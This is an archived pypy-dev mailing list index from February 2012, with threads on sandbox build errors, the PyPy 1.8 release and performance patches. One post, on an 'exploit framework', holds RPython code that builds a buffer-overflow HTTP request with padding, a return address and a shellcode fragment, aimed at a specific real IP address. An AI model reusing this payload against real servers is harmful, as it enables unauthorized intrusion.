Mailman 3 February 2012 - pypy-dev

Unable to get pypy sandbix running
by kracekumar ramaraju 12 Feb '12

12 Feb '12

Hi I am on ubuntu 11.10 on 32 bit OS. I ran all the procedures to get sanbox env. Now I am unable to run sandboxed interpreter. kracekumar@python-lover:~/pypy-pypy-2346207d9946/pypy/translator/sandbox$ ls autopath.py __init__.py interact.py rsandbox.py sandlib.py script.py vfs.py virtualtmp autopath.pyc __init__.pyc pypy_interact.py rsandbox.pyc sandlib.pyc test vfs.pyc kracekumar@python-lover:~/pypy-pypy-2346207d9946/pypy/translator/sandbox$ ls virtualtmp/ script.py kracekumar@python-lover:~/pypy-pypy-2346207d9946/pypy/translator/sandbox$ ./pypy_interact.py --tmp=virtualtmp pypy-c /tmp/script.py ['/bin/pypy-c', '/tmp/script.py'] Traceback (most recent call last): File "./pypy_interact.py", line 121, in <module> tmpdir=tmpdir, debug=debug) File "./pypy_interact.py", line 44, in __init__ executable=executable) File "/home/kracekumar/pypy-pypy-2346207d9946/pypy/translator/sandbox/sandlib.py", line 423, in __init__ super(VirtualizedSandboxedProc, self).__init__(*args, **kwds) File "/home/kracekumar/pypy-pypy-2346207d9946/pypy/translator/sandbox/sandlib.py", line 147, in __init__ env={}) File "/usr/lib/python2.7/subprocess.py", line 679, in __init__ errread, errwrite) File "/usr/lib/python2.7/subprocess.py", line 1239, in _execute_child raise child_exception OSError: [Errno 2] No such file or directory Inside sandlib at line no 146, added print args. am i missing some thing ? -- * Thanks & Regards "Talk is cheap, show me the code" -- Linus Torvalds kracekumar www.kracekumar.com *

2 1

Unable to run sandbox pypy
by kracekumar ramaraju 11 Feb '12

11 Feb '12

Hello I am on Centos 64 bit (cat /proc/version => Linux version 2.6.32-220.4.1.el6.x86_64 (mockbuild(a)c6b18n1.dev.centos.org) (gcc version 4.4.6 20110731 (Red Hat 4.4.6-3) (GCC) ) #1 SMP Tue Jan 24 02:13:44 GMT 2012) so i aussume its RH 4.4.6-3 version. On running *nohup /home/kracekumar/src/pypy-1.7/bin/pypy pypy/pypy/translator/goal/translate.py -O2 --sandbox & * , no hup exited . here is tail -10 nohup.out [platform:execute] gcc -c -O3 -pthread -fomit-frame-pointer -Wall -Wno-unused /home/kracekumar/opt/usession-master-0/platcheck_20.c -o /home/kracekumar/opt/usession-master-0/platcheck_20.o [platform:execute] gcc /home/kracekumar/opt/usession-master-0/platcheck_20.o -pthread -lrt -o /home/kracekumar/opt/usession-master-0/platcheck_20 [platform:execute] gcc -c -O3 -pthread -fomit-frame-pointer -Wall -Wno-unused /home/kracekumar/opt/usession-master-0/platcheck_21.c -o /home/kracekumar/opt/usession-master-0/platcheck_21.o [platform:execute] gcc /home/kracekumar/opt/usession-master-0/platcheck_21.o -pthread -lrt -o /home/kracekumar/opt/usession-master-0/platcheck_21 [platform:execute] gcc -c -O3 -pthread -fomit-frame-pointer -Wall -Wno-unused /home/kracekumar/opt/usession-master-0/platcheck_22.c -o /home/kracekumar/opt/usession-master-0/platcheck_22.o [platform:execute] gcc /home/kracekumar/opt/usession-master-0/platcheck_22.o -pthread -lrt -o /home/kracekumar/opt/usession-master-0/platcheck_22 [platform:execute] gcc -c -O3 -pthread -fomit-frame-pointer -Wall -Wno-unused /home/kracekumar/opt/usession-master-0/platcheck_23.c -o /home/kracekumar/opt/usession-master-0/platcheck_23.o [platform:execute] gcc /home/kracekumar/opt/usession-master-0/platcheck_23.o -pthread -lrt -o /home/kracekumar/opt/usession-master-0/platcheck_23 [platform:execute] gcc -c -O3 -pthread -fomit-frame-pointer -Wall -Wno-unused /home/kracekumar/opt/usession-master-0/platcheck_24.c -o /home/kracekumar/opt/usession-master-0/platcheck_24.o [platform:execute] gcc /home/kracekumar/opt/usession-master-0/platcheck_24.o -pthread -lrt -o /home/kracekumar/opt/usession-master-0/platcheck_24 I using pypy1.7 and Tried with pypy1.8 too no progress and same error. -- * Thanks & Regards "Talk is cheap, show me the code" -- Linus Torvalds kracekumar www.kracekumar.com *

1 0

pypy rsocket problem
by Andrew Evans 10 Feb '12

10 Feb '12

Hello I started developing a small exploit framework in Python about a year ago. I will be honest I did not get very far due to lack of commitment. But I wish to start on this project again, my idea is simple I want to write this in PyPy using RPython and be able to compile the exploits into executables. So far with help from this mailing list I have been able to compile local_exploits (ones that do not take advantage of any networking) and I am now working towards developing a network based one as a trial. I like to test the water before I jump in However I am having troubles compiling this one and am unsure how to diagnose any errors and would appreciate any advice any of you have to offer. Below is my code I removed the shell code if you wish me to post all of it please respond with that from pypy.rlib import rsocket from pypy.rpython.lltypesystem import lltype from pypy.rpython.lltypesystem import rffi def main(argv): PORT = 8080 JUNK = "A" ret = "\x67\x42\xa7\x71" mycode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49") request = "GET /" for i in range(776): request = request + JUNK request = request + ret request = request + mycode request = request + " HTTP/1.1" request = request + "\r\n" ptr = rffi.str2charp(mycode) # returns a "char*" pointer print ptr print len(request) s = rsocket.RSocket(rsocket.AF_INET, rsocket.SOCK_STREAM) target = rsocket.INETAddress("85.25.149.220", 8080) s.connect(target) s.send((ptr, len(request), 0)) return 0 def target(*args): return main, None *cheers

6 9

PyPy 1.8 released
by Maciej Fijalkowski 10 Feb '12

10 Feb '12

============================ PyPy 1.8 - business as usual ============================ We're pleased to announce the 1.8 release of PyPy. As habitual this release brings a lot of bugfixes, together with performance and memory improvements over the 1.7 release. The main highlight of the release is the introduction of `list strategies`_ which makes homogenous lists more efficient both in terms of performance and memory. This release also upgrades us from Python 2.7.1 compatibility to 2.7.2. Otherwise it's "business as usual" in the sense that performance improved roughly 10% on average since the previous release. you can download the PyPy 1.8 release here: http://pypy.org/download.html .. _`list strategies`: http://morepypy.blogspot.com/2011/10/more-compact-lists-with-list-strategie… What is PyPy? ============= PyPy is a very compliant Python interpreter, almost a drop-in replacement for CPython 2.7. It's fast (`pypy 1.8 and cpython 2.7.1`_ performance comparison) due to its integrated tracing JIT compiler. This release supports x86 machines running Linux 32/64, Mac OS X 32/64 or Windows 32. Windows 64 work has been stalled, we would welcome a volunteer to handle that. .. _`pypy 1.8 and cpython 2.7.1`: http://speed.pypy.org Highlights ========== * List strategies. Now lists that contain only ints or only floats should be as efficient as storing them in a binary-packed array. It also improves the JIT performance in places that use such lists. There are also special strategies for unicode and string lists. * As usual, numerous performance improvements. There are many examples of python constructs that now should be faster; too many to list them. * Bugfixes and compatibility fixes with CPython. * Windows fixes. * NumPy effort progress; for the exact list of things that have been done, consult the `numpy status page`_. A tentative list of things that has been done: * multi dimensional arrays * various sizes of dtypes * a lot of ufuncs * a lot of other minor changes Right now the `numpy` module is available under both `numpy` and `numpypy` names. However, because it's incomplete, you have to `import numpypy` first before doing any imports from `numpy`. * New JIT hooks that allow you to hook into the JIT process from your python program. There is a `brief overview`_ of what they offer. * Standard library upgrade from 2.7.1 to 2.7.2. Ongoing work ============ As usual, there is quite a bit of ongoing work that either didn't make it to the release or is not ready yet. Highlights include: * Non-x86 backends for the JIT: ARMv7 (almost ready) and PPC64 (in progress) * Specialized type instances - allocate instances as efficient as C structs, including type specialization * More numpy work * Since the last release there was a significant breakthrough in PyPy's fundraising. We now have enough funds to work on first stages of `numpypy`_ and `py3k`_. We would like to thank again to everyone who donated. * It's also probably worth noting, we're considering donations for the Software Transactional Memory project. You can read more about `our plans`_ Cheers, The PyPy Team .. _`brief overview`: http://doc.pypy.org/en/latest/jit-hooks.html .. _`numpy status page`: http://buildbot.pypy.org/numpy-status/latest.html .. _`numpy status update blog report`: http://morepypy.blogspot.com/2012/01/numpypy-status-update.html .. _`numpypy`: http://pypy.org/numpydonate.html .. _`py3k`: http://pypy.org/py3donate.html .. _`our plans`: http://morepypy.blogspot.com/2012/01/transactional-memory-ii.html

2 1

JSON decoder speed-up
by Stefano Parmesan 08 Feb '12

08 Feb '12

Hi everybody, A while ago I submitted a pull-request after cleaning a bit the source code of the JSON decoder, if anybody wants to check it out, it's here: https://bitbucket.org/pypy/pypy/pull-request/26/json-decoder-speed-up Some experimental tests here, if you are interested: http://armisael.silix.org/2012/01/speeding-up-json-decoder-in-pypy/ (not enormous speed-ups, but still...) Cheers! -- Dott. Stefano Parmesan PhD Student ~ University of Trento <ahref Foundation - Trento - Italy Tel: 0461-235794 ext. 5544

3 5

Please, someone, send this patch
by Alexander Sedov 08 Feb '12

08 Feb '12

Wasted two hours trying to get into IRC channel and post this. Please someone, commit this minor, useless patch. http://paste.pocoo.org/show/546747/

4 4

Unused imports
by Stefano Parmesan 07 Feb '12

07 Feb '12

Hi everybody, I notice that the pypy source code is sprinkled with unused imports, does anybody know if this affects in any way performance? Are they automatically removed in some way? -- Dott. Stefano Parmesan PhD Student ~ University of Trento <ahref Foundation - Trento - Italy Tel: 0461-235794 ext. 5544

3 3

Status of LLVM backend
by Timothy Baldridge 06 Feb '12

06 Feb '12

I haven't heard much about using PyPy with LLVM recently, and just wanted to know what the status of it was. Was there ever much of an improvement in using PyPy with LLVM for code generation? Does the binary install of PyPy use LLVM? Thanks for the info, Timothy -- “One of the main causes of the fall of the Roman Empire was that–lacking zero–they had no way to indicate successful termination of their C programs.” (Robert Firth)

2 1

Unable to complete pypy sandboxing
by kracekumar ramaraju 06 Feb '12

06 Feb '12

Hi pypy1.7 translate.py -O2 --sandbox targetpypystandalone.py pypy1.7 translate.py -O2 --sandbox I tried above commands separately, I ended up getting same error message [translation:ERROR] interpreter_astcompiler_codegen.c:28289:53: warning: array subscript is above array bounds [-Warray-bounds] [translation:ERROR] interpreter_astcompiler_codegen.c:28289:53: warning: array subscript is above array bounds [-Warray-bounds] [translation:ERROR] interpreter_astcompiler_codegen.c:28289:53: warning: array subscript is above array bounds [-Warray-bounds] [translation:ERROR] interpreter_astcompiler_codegen.c:28289:53: warning: array subscript is above array bounds [-Warray-bounds] [translation:ERROR] interpreter_astcompiler_codegen.c:28548:53: warning: array subscript is above array bounds [-Warray-bounds] [translation:ERROR] interpreter_astcompiler_codegen.c:28548:53: warning: array subscript is above array bounds [-Warray-bounds] [translation:ERROR] interpreter_astcompiler_codegen.c:28548:53: warning: array subscript is above array bounds [-Warray-bounds] [translation:ERROR] interpreter_astcompiler_codegen.c:28548:53: warning: array subscript is above array bounds [-Warray-bounds] [translation:ERROR] interpreter_astcompiler_codegen.c:28548:53: warning: array subscript is above array bounds [-Warray-bounds] [translation:ERROR] interpreter_astcompiler_codegen.c:28548:53: warning: array subscript is above array bounds [-Warray-bounds] [translation:ERROR] interpreter_astcompiler_codegen.c:28548:53: warning: array subscript is above array bounds [-Warray-bounds] [translation:ERROR] interpreter_astcompiler_codegen.c:28548:53: warning: array subscript is above array bounds [-Warray-bounds] [translation:ERROR] interpreter_astcompiler_codegen.c:28548:53: warning: array subscript is above array bounds [-Warray-bounds] [translation:ERROR] debug_print.o: In function `pypy_read_timestamp': [translation:ERROR] debug_print.c:(.text+0x193): undefined reference to `clock_gettime' [translation:ERROR] collect2: ld returned 1 exit status [translation:ERROR] make: *** [pypy-c] Error 1 [translation:ERROR] """) [translation] start debugger... > /home/kracekumar/codes/python/pypy/pypy/translator/platform/__init__.py(130)_handle_error() -> raise CompilationError(stdout, stderr) (Pdb+) exit Am I missing something in installation ? or my compilation technique is wrong ? -- * Thanks & Regards "Talk is cheap, show me the code" -- Linus Torvalds kracekumar www.kracekumar.com *

3 3

Will PyPy 1.7 be the latest for PyCon, or maybe 1.8?
by Ian Ozsvald 06 Feb '12

06 Feb '12

Hi Fijal, Armin, Antonio. I'm re-running my High Performance Python tutorial (from EuroPython 2011) at PyCon this year (which makes me feel rather honoured). I've just downloaded PyPy 1.7 and I'm starting to test my code and make updates. I see a mention of PyPy 1.8 on the Downloads page - is there an estimate of the release date? I'm just curious about whether there's a plan to release it before PyCon. I can use the nightly builds but it'll be nice to reference the 'expected current' version of PyPy in the slides, if it is soon. Cheers (and congrats on all the progress, I'm looking forward to looking at numpypy), Ian. -- Ian Ozsvald (A.I. researcher) ian(a)IanOzsvald.com http://IanOzsvald.com http://MorConsulting.com/ http://StrongSteam.com/ http://SocialTiesApp.com/ http://TheScreencastingHandbook.com http://FivePoundApp.com/ http://twitter.com/IanOzsvald

2 1